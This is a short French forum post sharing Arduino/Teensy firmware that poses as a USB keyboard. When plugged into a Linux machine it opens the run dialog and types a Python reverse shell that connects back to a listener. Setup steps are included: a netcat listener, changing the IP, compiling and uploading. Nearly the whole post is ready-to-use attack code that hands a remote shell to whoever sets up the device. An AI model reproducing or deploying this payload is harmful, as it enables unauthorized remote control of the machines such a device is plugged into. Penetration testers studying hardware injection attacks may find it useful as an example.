[Arduino] Les bases

[JL_N_]

Je partage un code pour arduino.

J'ai programmé ceci sur un teensy 3.0 mais il est également fonctionnel pour un teensy 2.0 2.0++.

Ce code est un reverse shell (en python, mais vous pouvez l'adapter à vos besoins) http://pentestmonkey.net/cheat-sheet/she...heat-sheet.

Pour le tester :

nc -l 11000 -vvv

Changer l'ip (127.0.0.1)
Compiler
Uploader
Puis insérer le teensy dans la machine. Un shell apparait sur la machine qui était en écoute.

Code :

#define ATTACK_PAYLOAD "/bin/sh -c \"rm fifo;mkfifo fifo; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"127.0.0.1\\\",11000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\"]);' <fifo|bash > fifo & \""

void setup() {
    delay(10000);
    launch_exec(ATTACK_PAYLOAD);
}

void loop() {
    
}

void launch_exec(char *cmd){
  Keyboard.set_modifier(MODIFIERKEY_ALT);
  Keyboard.set_key1(KEY_F2);
  Keyboard.send_now();

  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();

  delay(1500);
  
  Keyboard.print(cmd);
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();

  Keyboard.set_key1(0);
  Keyboard.send_now();
}

Enjoy